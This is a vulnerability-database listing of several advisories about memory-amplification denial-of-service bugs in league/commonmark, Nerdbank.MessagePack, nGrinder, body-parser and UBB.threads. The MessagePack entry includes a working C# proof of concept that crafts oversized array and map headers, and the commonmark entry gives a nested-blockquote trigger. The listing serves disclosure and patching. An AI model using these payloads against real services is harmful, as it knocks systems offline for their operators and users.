Vulnerability-Lookup

GHSA-MJ63-M3RC-8PPR

Vulnerability from github – Published: 2026-08-06 20:42 – Updated: 2026-08-06 20:42

Summary

league/commonmark: Denial of service via deeply nested XML output

Details

Impact

XmlRenderer pretty-prints XML by emitting depth-proportional indentation whitespace for every opening and closing tag. For a tree of depth n, the indentation alone sums to O(n²) bytes of output (and corresponding memory), reachable through MarkdownToXmlConverter — e.g. str_repeat('> ', $depth) . "x\n", a single line of nested blockquotes — or through a direct XmlRenderer::renderDocument() call on an attacker-influenced AST.

This affects applications that convert untrusted Markdown to XML, which is an opt-in output path. The parser's max_nesting_level bounds the depth of parser-created trees, but its default is high enough to reach damaging sizes, can be raised by the host application, and does not constrain custom or programmatically built ASTs handed straight to the renderer. The result is a memory / output-size amplification rather than a hard crash, which is why this issue is rated Medium rather than High. No confidentiality or integrity impact. XML rendering was introduced in 2.0.0 (first shipped in 2.0.0-beta1, June 2021) and has emitted depth-proportional indentation ever since, so all 2.x releases are affected (verified against 2.8.x, clean upstream 1902f60f). 1.x has no XML renderer and is not affected.

Workarounds

Applications converting untrusted Markdown to XML should:

Lower max_nesting_level to a conservative value appropriate to expected content, so the parser refuses to build extremely deep trees. This is the most direct lever for parser-produced ASTs, but does not protect trees built programmatically and passed straight to XmlRenderer.
Cap input size before conversion, since the amplification is driven by input-proportional depth.
Constrain XML consumers with memory / output-size limits (and streaming or size caps on any downstream XML parser or storage) so one request cannot allocate unbounded output.
Prefer HTML rendering for untrusted content where XML is not strictly required — the HTML renderer does not emit depth-proportional indentation and is not subject to this amplification.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "league/commonmark"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T20:42:54Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\n`XmlRenderer` pretty-prints XML by emitting depth-proportional indentation whitespace for **every** opening and closing tag. For a tree of depth n, the indentation alone sums to **O(n\u00b2)** bytes of output (and corresponding memory), reachable through `MarkdownToXmlConverter` \u2014 e.g. `str_repeat(\u0027\u003e \u0027, $depth) . \"x\\n\"`, a single line of nested blockquotes \u2014 or through a direct `XmlRenderer::renderDocument()` call on an attacker-influenced AST.\n\nThis affects applications that convert untrusted Markdown to XML, which is an **opt-in** output path. The parser\u0027s `max_nesting_level` bounds the depth of *parser-created* trees, but its default is high enough to reach damaging sizes, can be raised by the host application, and does not constrain custom or programmatically built ASTs handed straight to the renderer. The result is a memory / output-size amplification rather than a hard crash, which is why this issue is rated **Medium** rather than High. No confidentiality or integrity impact. XML rendering was introduced in 2.0.0 (first shipped in 2.0.0-beta1, June 2021) and has emitted depth-proportional indentation ever since, so all 2.x releases are affected (verified against 2.8.x, clean upstream `1902f60f`). 1.x has no XML renderer and is not affected.\n\n### Workarounds\n\nApplications converting untrusted Markdown to XML should:\n\n- **Lower `max_nesting_level`** to a conservative value appropriate to expected content, so the parser refuses to build extremely deep trees. This is the most direct lever for parser-produced ASTs, but does not protect trees built programmatically and passed straight to `XmlRenderer`.\n- **Cap input size before conversion**, since the amplification is driven by input-proportional depth.\n- **Constrain XML consumers** with memory / output-size limits (and streaming or size caps on any downstream XML parser or storage) so one request cannot allocate unbounded output.\n- **Prefer HTML rendering** for untrusted content where XML is not strictly required \u2014 the HTML renderer does not emit depth-proportional indentation and is not subject to this amplification.",
  "id": "GHSA-mj63-m3rc-8ppr",
  "modified": "2026-08-06T20:42:55Z",
  "published": "2026-08-06T20:42:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/security/advisories/GHSA-mj63-m3rc-8ppr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/commit/b5ac8c3947ca81844e85a09c7e0a5b4148bde2e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thephpleague/commonmark"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/releases/tag/2.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "league/commonmark: Denial of service via deeply nested XML output"
}

GHSA-QJVR-435C-5FJH

Vulnerability from github – Published: 2026-05-29 19:55 – Updated: 2026-05-29 19:55

Summary

Nerdbank.MessagePack has a memory amplification DoS in collection deserialization

Details

Nerdbank.MessagePack deserializers for many collection-shaped types trusted the element count declared in MessagePack array and map headers when allocating destination storage. A crafted payload could therefore force large arrays, pooled buffers, dictionaries, or collection instances to be allocated before the deserializer had consumed the corresponding elements.

The same allocation pattern existed across strongly typed arrays, primitive arrays, mutable and immutable dictionaries, mutable enumerables, span-backed enumerable construction, JsonNode, MessagePackValue, and the object/dynamic primitive converters.

Because MessagePack array and map headers carry an attacker-controlled element count, any converter that immediately allocates count elements or constructs a collection with capacity count can turn a payload that is merely large into a much larger managed heap allocation. The reader's residency checks reduce the most extreme header-only attack shape, but they do not remove the memory amplification: minimal MessagePack elements can be one or two bytes on the wire while the managed representation may require object references, dictionary buckets, entries, array headers, or over-allocated collection internals.

Vulnerability Pattern

Affected converters followed one or both of these patterns:

int count = reader.ReadArrayHeader();
TElement[] array = new TElement[count];

int count = reader.ReadMapHeader();
Dictionary<TKey, TValue> map = new(count);

or, for streaming and span-backed construction:

TElement[] elements = ArrayPool<TElement>.Shared.Rent(count);
TCollection collection = getCollection(state, count);

In all affected cases, the allocation size was derived from the untrusted header count before the converter had read the elements. This made deserialization vulnerable to memory amplification and process availability attacks.

Affected Scope

The vulnerable logic was present in multiple converter families:

Converter surface	Risk
`ArrayConverter<TElement>`	Allocated `new TElement[count]` for typed arrays and rented large buffers in async paths.
`ArraysOfPrimitivesConverters`	Allocated or rented `TElement[count]` for primitive array and span-constructor paths.
`MutableEnumerableConverter<TEnumerable, TElement>`	Passed the untrusted count directly to collection construction.
`SpanEnumerableConverter<TEnumerable, TElement>`	Rented buffers sized to the declared element count.
`MutableDictionaryConverter<TDictionary, TKey, TValue>`	Passed the untrusted map count directly to dictionary construction.
`ImmutableDictionaryConverter<TDictionary, TKey, TValue>`	Rented `KeyValuePair<TKey, TValue>[count]` before reading entries.
`PrimitivesAsObjectConverter` and `PrimitivesAsDynamicConverter`	Allocated object arrays and dictionaries from attacker-controlled counts.
`JsonNodeConverter`	Allocated `JsonNode?[]` from the declared array length.
`MessagePackValueConverter`	Allocated arrays and dictionaries from declared array/map counts.

This means the issue affects normal typed deserialization as well as object/dynamic APIs. Any endpoint or protocol surface that accepts untrusted MessagePack and deserializes collection-shaped contracts can be affected.

Attack Mechanics

MessagePack encodes array and map lengths up front. For array32 and map32, the declared count can be very large. The reader checks that enough bytes remain to plausibly contain the declared number of elements, so an attacker must provide real payload bytes. However, the managed allocation can still be much larger than the payload.

Examples:

Attack shape	Input cost	Managed allocation pressure
`array32` of `nil` values into `object?[]`	1 byte per element	8 bytes per reference on 64-bit runtimes, plus array overhead.
`map32` of small keys and `nil` values into `Dictionary<object, object?>`	2 bytes per entry	Buckets, entries, key/value references, and dictionary overhead.
`array32` into typed reference arrays	1 byte per `nil` element when element type allows null	8 bytes per reference, plus array overhead.
`array32` into immutable dictionary staging buffers	2+ bytes per entry	`KeyValuePair<TKey, TValue>[]` staging allocation before construction.
`map32` into typed dictionaries	2+ bytes per entry for small keys/values	Dictionary capacity is allocated from the declared map count.

At larger counts, the attack can trigger OutOfMemoryException, force full blocking garbage collections, or degrade service through repeated moderate allocations. The impact is availability loss rather than confidentiality or integrity compromise.

Impact

An attacker who can deliver crafted MessagePack data to an endpoint that deserializes collections can:

Crash the target process via OutOfMemoryException from a single large payload.
Exhaust available memory through repeated moderate payloads.
Induce severe GC pressure, increasing latency and reducing throughput.
Affect typed DTO and framework integration paths, not only dynamic or untyped deserialization paths.

Concrete affected configurations include:

ASP.NET Core, SignalR, RPC, queue, or storage endpoints that deserialize MessagePack request bodies or messages into DTOs with arrays, lists, sets, dictionaries, immutable dictionaries, JsonNode, MessagePackValue, object, or dynamic members.
Code calling typed Deserialize<T>() where T contains collection-shaped members.
Code calling DeserializePrimitives() or DeserializeDynamicPrimitives() on untrusted input.
Applications registering WithObjectConverter() or WithDynamicObjectConverter() for framework integration or ad hoc object graphs.

Severity Rationale

Attack complexity is low. Once an application accepts untrusted MessagePack for an affected collection type, exploitation only requires a crafted array or map payload with a large declared count and minimal encoded elements.

Privileges required depend on deployment. Public endpoints are exploitable without authentication. Internal or authenticated message-processing systems reduce exposure but remain vulnerable to any caller who can submit MessagePack data.

User interaction is not required. The attack is triggered during server-side or service-side deserialization.

Availability impact is low. The practical outcome is memory pressure which can slow down a process or machine, or cause a network request to fail.

Proof of Concept

The following sample demonstrates the original object/dynamic shape and a typed array shape. Both rely on the same underlying bug: allocation is derived from the MessagePack header count before the elements are consumed.

using System.Buffers;
using System.Buffers.Binary;
using Nerdbank.MessagePack;

Console.WriteLine("=== Memory Amplification DoS - Nerdbank.MessagePack ===");
Console.WriteLine();

var serializer = new MessagePackSerializer();

// 5-byte array32 header + 1 byte per nil element.
// Deserializing as object?[] allocates one managed reference per element.
const int ObjectArrayCount = 1_000_000;
byte[] objectArrayPayload = BuildArray32Payload(ObjectArrayCount, 0xC0);

Measure("object?[] array32 nil", objectArrayPayload, () =>
{
    var sequence = new ReadOnlySequence<byte>(objectArrayPayload);
    var reader = new MessagePackReader(sequence);
    return serializer.DeserializePrimitives(ref reader);
});

// 5-byte array32 header + 1 byte per integer element.
// A typed int[] target allocates four bytes per element plus array overhead.
const int IntArrayCount = 1_000_000;
byte[] intArrayPayload = BuildArray32Payload(IntArrayCount, 0x00);

Measure("int[] array32 fixint", intArrayPayload, () =>
{
    var sequence = new ReadOnlySequence<byte>(intArrayPayload);
    var reader = new MessagePackReader(sequence);
    return serializer.Deserialize<int[]>(ref reader);
});

// 5-byte map32 header + 2 bytes per entry: small fixint key, nil value.
// Duplicate keys are overwritten later, but the Dictionary capacity allocation fires first.
const int MapCount = 100_000;
byte[] mapPayload = BuildMap32Payload(MapCount);

Measure("object dictionary map32", mapPayload, () =>
{
    var sequence = new ReadOnlySequence<byte>(mapPayload);
    var reader = new MessagePackReader(sequence);
    return serializer.DeserializePrimitives(ref reader);
});

static void Measure(string name, byte[] payload, Func<object?> deserialize)
{
    GC.Collect();
    long before = GC.GetTotalMemory(true);

    try
    {
        object? result = deserialize();
        long after = GC.GetTotalMemory(false);
        long delta = after - before;
        Console.WriteLine($"[{name}] payload: {payload.Length / 1024.0:F1} KB");
        Console.WriteLine($"[{name}] memory delta: +{delta / 1024.0 / 1024.0:F1} MB");
        Console.WriteLine($"[{name}] amplification: {(double)delta / payload.Length:F1}x");
        GC.KeepAlive(result);
    }
    catch (OutOfMemoryException)
    {
        Console.WriteLine($"[{name}] OutOfMemoryException");
    }
    catch (MessagePackSerializationException ex)
    {
        Console.WriteLine($"[{name}] guarded: {ex.Message}");
    }

    Console.WriteLine();
}

static byte[] BuildArray32Payload(int count, byte element)
{
    byte[] payload = new byte[5 + count];
    payload[0] = 0xDD;
    BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);
    payload.AsSpan(5).Fill(element);
    return payload;
}

static byte[] BuildMap32Payload(int count)
{
    byte[] payload = new byte[5 + count * 2];
    payload[0] = 0xDF;
    BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);

    for (int i = 0; i < count; i++)
    {
        payload[5 + i * 2] = (byte)(i % 128);
        payload[5 + i * 2 + 1] = 0xC0;
    }

    return payload;
}

Confirmed output against the vulnerable implementation included object-array amplification around 8x and dictionary amplification above 20x for moderate payload sizes. Typed collection amplification varies by element type and target collection implementation, but the same attacker-controlled preallocation primitive is present.

Remediation

The deserializer honors input data's prefixed collection sizes up to a reasonable limit, after which the collections grow when the data is actually encountered, such that memory amplification is limited to only small amounts over the size of the data being deserialized.

Prior Art

CVE-2026-21452 / GHSA-cw39-r4h6-8j3x: MessagePack for Java. An EXT32 object with an attacker-controlled payload length caused ExtensionValue.getData() to allocate a byte array of that size with no upper bound. This is the same vulnerability class: header-declared size leading to attacker-controlled heap allocation. It was fixed in msgpack-java 0.9.11 by avoiding unbounded allocation.

CVE-2024-48924 / GHSA-4qm4-8hg2-g2xm: MessagePack-CSharp. Untrusted data could trigger denial of service during deserialization through a different mechanism. It demonstrates the same ecosystem-level risk: MessagePack deserializers are frequently reachable on network and message-processing boundaries, where availability defects are exploitable.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Nerdbank.MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T19:55:09Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Nerdbank.MessagePack deserializers for many collection-shaped types trusted the element count declared in MessagePack array and map headers when allocating destination storage. A crafted payload could therefore force large arrays, pooled buffers, dictionaries, or collection instances to be allocated before the deserializer had consumed the corresponding elements.\n\nThe same allocation pattern existed across strongly typed arrays, primitive arrays, mutable and immutable dictionaries, mutable enumerables, span-backed enumerable construction, `JsonNode`, `MessagePackValue`, and the object/dynamic primitive converters.\n\nBecause MessagePack array and map headers carry an attacker-controlled element count, any converter that immediately allocates `count` elements or constructs a collection with capacity `count` can turn a payload that is merely large into a much larger managed heap allocation. The reader\u0027s residency checks reduce the most extreme header-only attack shape, but they do not remove the memory amplification: minimal MessagePack elements can be one or two bytes on the wire while the managed representation may require object references, dictionary buckets, entries, array headers, or over-allocated collection internals.\n\n## Vulnerability Pattern\n\nAffected converters followed one or both of these patterns:\n\n```csharp\nint count = reader.ReadArrayHeader();\nTElement[] array = new TElement[count];\n\nint count = reader.ReadMapHeader();\nDictionary\u003cTKey, TValue\u003e map = new(count);\n```\n\nor, for streaming and span-backed construction:\n\n```csharp\nTElement[] elements = ArrayPool\u003cTElement\u003e.Shared.Rent(count);\nTCollection collection = getCollection(state, count);\n```\n\nIn all affected cases, the allocation size was derived from the untrusted header count before the converter had read the elements. This made deserialization vulnerable to memory amplification and process availability attacks.\n\n## Affected Scope\n\nThe vulnerable logic was present in multiple converter families:\n\n| Converter surface | Risk |\n|-------------------|------|\n| `ArrayConverter\u003cTElement\u003e` | Allocated `new TElement[count]` for typed arrays and rented large buffers in async paths. |\n| `ArraysOfPrimitivesConverters` | Allocated or rented `TElement[count]` for primitive array and span-constructor paths. |\n| `MutableEnumerableConverter\u003cTEnumerable, TElement\u003e` | Passed the untrusted count directly to collection construction. |\n| `SpanEnumerableConverter\u003cTEnumerable, TElement\u003e` | Rented buffers sized to the declared element count. |\n| `MutableDictionaryConverter\u003cTDictionary, TKey, TValue\u003e` | Passed the untrusted map count directly to dictionary construction. |\n| `ImmutableDictionaryConverter\u003cTDictionary, TKey, TValue\u003e` | Rented `KeyValuePair\u003cTKey, TValue\u003e[count]` before reading entries. |\n| `PrimitivesAsObjectConverter` and `PrimitivesAsDynamicConverter` | Allocated object arrays and dictionaries from attacker-controlled counts. |\n| `JsonNodeConverter` | Allocated `JsonNode?[]` from the declared array length. |\n| `MessagePackValueConverter` | Allocated arrays and dictionaries from declared array/map counts. |\n\nThis means the issue affects normal typed deserialization as well as object/dynamic APIs.\nAny endpoint or protocol surface that accepts untrusted MessagePack and deserializes collection-shaped contracts can be affected.\n\n## Attack Mechanics\n\nMessagePack encodes array and map lengths up front. For `array32` and `map32`, the declared count can be very large. The reader checks that enough bytes remain to plausibly contain the declared number of elements, so an attacker must provide real payload bytes. However, the managed allocation can still be much larger than the payload.\n\nExamples:\n\n| Attack shape | Input cost | Managed allocation pressure |\n|--------------|------------|-----------------------------|\n| `array32` of `nil` values into `object?[]` | 1 byte per element | 8 bytes per reference on 64-bit runtimes, plus array overhead. |\n| `map32` of small keys and `nil` values into `Dictionary\u003cobject, object?\u003e` | 2 bytes per entry | Buckets, entries, key/value references, and dictionary overhead. |\n| `array32` into typed reference arrays | 1 byte per `nil` element when element type allows null | 8 bytes per reference, plus array overhead. |\n| `array32` into immutable dictionary staging buffers | 2+ bytes per entry | `KeyValuePair\u003cTKey, TValue\u003e[]` staging allocation before construction. |\n| `map32` into typed dictionaries | 2+ bytes per entry for small keys/values | Dictionary capacity is allocated from the declared map count. |\n\nAt larger counts, the attack can trigger `OutOfMemoryException`, force full blocking garbage collections, or degrade service through repeated moderate allocations. The impact is availability loss rather than confidentiality or integrity compromise.\n\n## Impact\n\nAn attacker who can deliver crafted MessagePack data to an endpoint that deserializes collections can:\n\n- Crash the target process via `OutOfMemoryException` from a single large payload.\n- Exhaust available memory through repeated moderate payloads.\n- Induce severe GC pressure, increasing latency and reducing throughput.\n- Affect typed DTO and framework integration paths, not only dynamic or untyped deserialization paths.\n\nConcrete affected configurations include:\n\n- ASP.NET Core, SignalR, RPC, queue, or storage endpoints that deserialize MessagePack request bodies or messages into DTOs with arrays, lists, sets, dictionaries, immutable dictionaries, `JsonNode`, `MessagePackValue`, `object`, or `dynamic` members.\n- Code calling typed `Deserialize\u003cT\u003e()` where `T` contains collection-shaped members.\n- Code calling `DeserializePrimitives()` or `DeserializeDynamicPrimitives()` on untrusted input.\n- Applications registering `WithObjectConverter()` or `WithDynamicObjectConverter()` for framework integration or ad hoc object graphs.\n\n## Severity Rationale\n\n**Attack complexity is low.** Once an application accepts untrusted MessagePack for an affected collection type, exploitation only requires a crafted array or map payload with a large declared count and minimal encoded elements.\n\n**Privileges required depend on deployment.** Public endpoints are exploitable without authentication. Internal or authenticated message-processing systems reduce exposure but remain vulnerable to any caller who can submit MessagePack data.\n\n**User interaction is not required.** The attack is triggered during server-side or service-side deserialization.\n\n**Availability impact is low.** The practical outcome is memory pressure which can slow down a process or machine, or cause a network request to fail.\n\n## Proof of Concept\n\nThe following sample demonstrates the original object/dynamic shape and a typed array shape. Both rely on the same underlying bug: allocation is derived from the MessagePack header count before the elements are consumed.\n\n```csharp\nusing System.Buffers;\nusing System.Buffers.Binary;\nusing Nerdbank.MessagePack;\n\nConsole.WriteLine(\"=== Memory Amplification DoS - Nerdbank.MessagePack ===\");\nConsole.WriteLine();\n\nvar serializer = new MessagePackSerializer();\n\n// 5-byte array32 header + 1 byte per nil element.\n// Deserializing as object?[] allocates one managed reference per element.\nconst int ObjectArrayCount = 1_000_000;\nbyte[] objectArrayPayload = BuildArray32Payload(ObjectArrayCount, 0xC0);\n\nMeasure(\"object?[] array32 nil\", objectArrayPayload, () =\u003e\n{\n    var sequence = new ReadOnlySequence\u003cbyte\u003e(objectArrayPayload);\n    var reader = new MessagePackReader(sequence);\n    return serializer.DeserializePrimitives(ref reader);\n});\n\n// 5-byte array32 header + 1 byte per integer element.\n// A typed int[] target allocates four bytes per element plus array overhead.\nconst int IntArrayCount = 1_000_000;\nbyte[] intArrayPayload = BuildArray32Payload(IntArrayCount, 0x00);\n\nMeasure(\"int[] array32 fixint\", intArrayPayload, () =\u003e\n{\n    var sequence = new ReadOnlySequence\u003cbyte\u003e(intArrayPayload);\n    var reader = new MessagePackReader(sequence);\n    return serializer.Deserialize\u003cint[]\u003e(ref reader);\n});\n\n// 5-byte map32 header + 2 bytes per entry: small fixint key, nil value.\n// Duplicate keys are overwritten later, but the Dictionary capacity allocation fires first.\nconst int MapCount = 100_000;\nbyte[] mapPayload = BuildMap32Payload(MapCount);\n\nMeasure(\"object dictionary map32\", mapPayload, () =\u003e\n{\n    var sequence = new ReadOnlySequence\u003cbyte\u003e(mapPayload);\n    var reader = new MessagePackReader(sequence);\n    return serializer.DeserializePrimitives(ref reader);\n});\n\nstatic void Measure(string name, byte[] payload, Func\u003cobject?\u003e deserialize)\n{\n    GC.Collect();\n    long before = GC.GetTotalMemory(true);\n\n    try\n    {\n        object? result = deserialize();\n        long after = GC.GetTotalMemory(false);\n        long delta = after - before;\n        Console.WriteLine($\"[{name}] payload: {payload.Length / 1024.0:F1} KB\");\n        Console.WriteLine($\"[{name}] memory delta: +{delta / 1024.0 / 1024.0:F1} MB\");\n        Console.WriteLine($\"[{name}] amplification: {(double)delta / payload.Length:F1}x\");\n        GC.KeepAlive(result);\n    }\n    catch (OutOfMemoryException)\n    {\n        Console.WriteLine($\"[{name}] OutOfMemoryException\");\n    }\n    catch (MessagePackSerializationException ex)\n    {\n        Console.WriteLine($\"[{name}] guarded: {ex.Message}\");\n    }\n\n    Console.WriteLine();\n}\n\nstatic byte[] BuildArray32Payload(int count, byte element)\n{\n    byte[] payload = new byte[5 + count];\n    payload[0] = 0xDD;\n    BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);\n    payload.AsSpan(5).Fill(element);\n    return payload;\n}\n\nstatic byte[] BuildMap32Payload(int count)\n{\n    byte[] payload = new byte[5 + count * 2];\n    payload[0] = 0xDF;\n    BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);\n\n    for (int i = 0; i \u003c count; i++)\n    {\n        payload[5 + i * 2] = (byte)(i % 128);\n        payload[5 + i * 2 + 1] = 0xC0;\n    }\n\n    return payload;\n}\n```\n\nConfirmed output against the vulnerable implementation included object-array amplification around 8x and dictionary amplification above 20x for moderate payload sizes. Typed collection amplification varies by element type and target collection implementation, but the same attacker-controlled preallocation primitive is present.\n\n## Remediation\n\nThe deserializer honors input data\u0027s prefixed collection sizes up to a reasonable limit, after which the collections grow when the data is actually encountered, such that memory amplification is limited to only small amounts over the size of the data being deserialized.\n\n## Prior Art\n\n**CVE-2026-21452 / [GHSA-cw39-r4h6-8j3x](https://github.com/advisories/GHSA-cw39-r4h6-8j3x)**: MessagePack for Java. An EXT32 object with an attacker-controlled payload length caused `ExtensionValue.getData()` to allocate a byte array of that size with no upper bound. This is the same vulnerability class: header-declared size leading to attacker-controlled heap allocation. It was fixed in `msgpack-java` 0.9.11 by avoiding unbounded allocation.\n\n**CVE-2024-48924 / [GHSA-4qm4-8hg2-g2xm](https://github.com/advisories/GHSA-4qm4-8hg2-g2xm)**: MessagePack-CSharp. Untrusted data could trigger denial of service during deserialization through a different mechanism. It demonstrates the same ecosystem-level risk: MessagePack deserializers are frequently reachable on network and message-processing boundaries, where availability defects are exploitable.",
  "id": "GHSA-qjvr-435c-5fjh",
  "modified": "2026-05-29T19:55:09Z",
  "published": "2026-05-29T19:55:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AArnott/Nerdbank.MessagePack/security/advisories/GHSA-qjvr-435c-5fjh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AArnott/Nerdbank.MessagePack/commit/6f19387a3d1322aea880ce3f8db2cfd0de195e12"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AArnott/Nerdbank.MessagePack"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nerdbank.MessagePack has a memory amplification DoS in collection deserialization"
}

GHSA-QQ6M-6P3W-4J5W

Vulnerability from github – Published: 2024-03-07 06:30 – Updated: 2024-11-08 18:30

Details

nGrinder before 3.5.9 allows to set delay without limitation, which could be the cause of Denial of Service by remote attacker.

Severity

2.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-28214"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-405"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-07T05:15:54Z",
    "severity": "LOW"
  },
  "details": "nGrinder before 3.5.9 allows to set delay without limitation, which could be the cause of Denial of Service by remote attacker.",
  "id": "GHSA-qq6m-6p3w-4j5w",
  "modified": "2024-11-08T18:30:42Z",
  "published": "2024-03-07T06:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28214"
    },
    {
      "type": "WEB",
      "url": "https://cve.naver.com/detail/cve-2024-28214.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QWCR-R2FM-QRC7

Vulnerability from github – Published: 2024-09-10 15:52 – Updated: 2024-09-10 19:01

Summary

body-parser vulnerable to denial of service when url encoding is enabled

Details

Impact

body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.

Patches

this issue is patched in 1.20.3

References

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "body-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45590"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-10T15:52:39Z",
    "nvd_published_at": "2024-09-10T16:15:21Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nbody-parser \u003c1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.\n\n### Patches\n\nthis issue is patched in 1.20.3\n\n### References\n",
  "id": "GHSA-qwcr-r2fm-qrc7",
  "modified": "2024-09-10T19:01:08Z",
  "published": "2024-09-10T15:52:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/body-parser/security/advisories/GHSA-qwcr-r2fm-qrc7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45590"
    },
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/body-parser/commit/b2695c4450f06ba3b0ccf48d872a229bb41c9bce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/expressjs/body-parser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "body-parser vulnerable to denial of service when url encoding is enabled"
}

GHSA-R4CC-XCX2-VP28

Vulnerability from github – Published: 2026-06-18 15:32 – Updated: 2026-06-18 15:32

Details

UBB.threads is vulnerable to Denial of Service (DoS). By sending multiple concurrent requests to view any user profile on instances with many registered users, an authenticated attacker can easily exhaust database resources and completely deny access to the application for other users. Because vendor contact attempts were unsuccessful, the vulnerability has only been confirmed in version 7.7.5 but may also affect other versions.

Severity

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-54224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-18T14:17:31Z",
    "severity": "HIGH"
  },
  "details": "UBB.threads is vulnerable to Denial of Service (DoS). By sending multiple concurrent requests to view any user profile on instances with many registered users, an authenticated attacker can easily exhaust database resources and completely deny access to the application for other users.\nBecause vendor contact attempts were unsuccessful, the vulnerability has only been confirmed in version 7.7.5 but may also affect other versions.",
  "id": "GHSA-r4cc-xcx2-vp28",
  "modified": "2026-06-18T15:32:02Z",
  "published": "2026-06-18T15:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54224"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2026/06/CVE-2026-54219"
    },
    {
      "type": "WEB",
      "url": "https://www.ubbcentral.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-R7FM-3PQM-WW5W

Vulnerability from github – Published: 2025-07-10 17:50 – Updated: 2025-07-10 23:21

Summary

